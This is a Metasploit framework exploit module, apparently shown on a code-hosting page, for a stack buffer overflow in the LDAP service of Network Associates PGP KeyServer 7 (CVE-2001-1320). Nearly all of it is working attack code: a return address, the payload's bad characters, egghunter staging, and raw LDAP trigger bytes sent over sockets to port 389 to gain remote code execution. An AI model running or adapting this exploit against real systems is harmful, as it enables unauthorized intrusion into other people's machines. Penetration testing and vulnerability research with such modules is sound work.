Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ldap/pgp_keyserver7.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the LDAP service that is16part of the NAI PGP Enterprise product suite. This module was tested17against PGP KeyServer v7.0. Due to space restrictions, egghunter is18used to find our payload - therefore you may wish to adjust WfsDelay.19},20'Author' => [ 'aushack' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2001-1320' ],25[ 'OSVDB', '4742' ],26[ 'BID', '3046' ],27[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],28],29'Privileged' => true,30'Payload' =>31{32'Space' => 450,33'BadChars' => "\x00\x0a\x0d\x20",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp40],41'DisclosureDate' => '2001-07-16',42'DefaultTarget' => 0))4344register_options(45[46Opt::RPORT(389)47])48end4950def exploit51connect5253# - Maximum payload space is 102 so we use EggHunter instead.54# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.5556hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })57egg = hunter[1]5859eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff60eggend = "\x80\x00"6162print_status("Sending trigger and hunter first...")6364buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff65buf << [target['Ret']].pack('V') + hunter[0]66buf << "\x00"6768sock.put(buf)6970disconnect7172connect7374print_status("Sending hunted payload...")75sock.put(eggstart+egg+eggend)7677handler78disconnect79end80end818283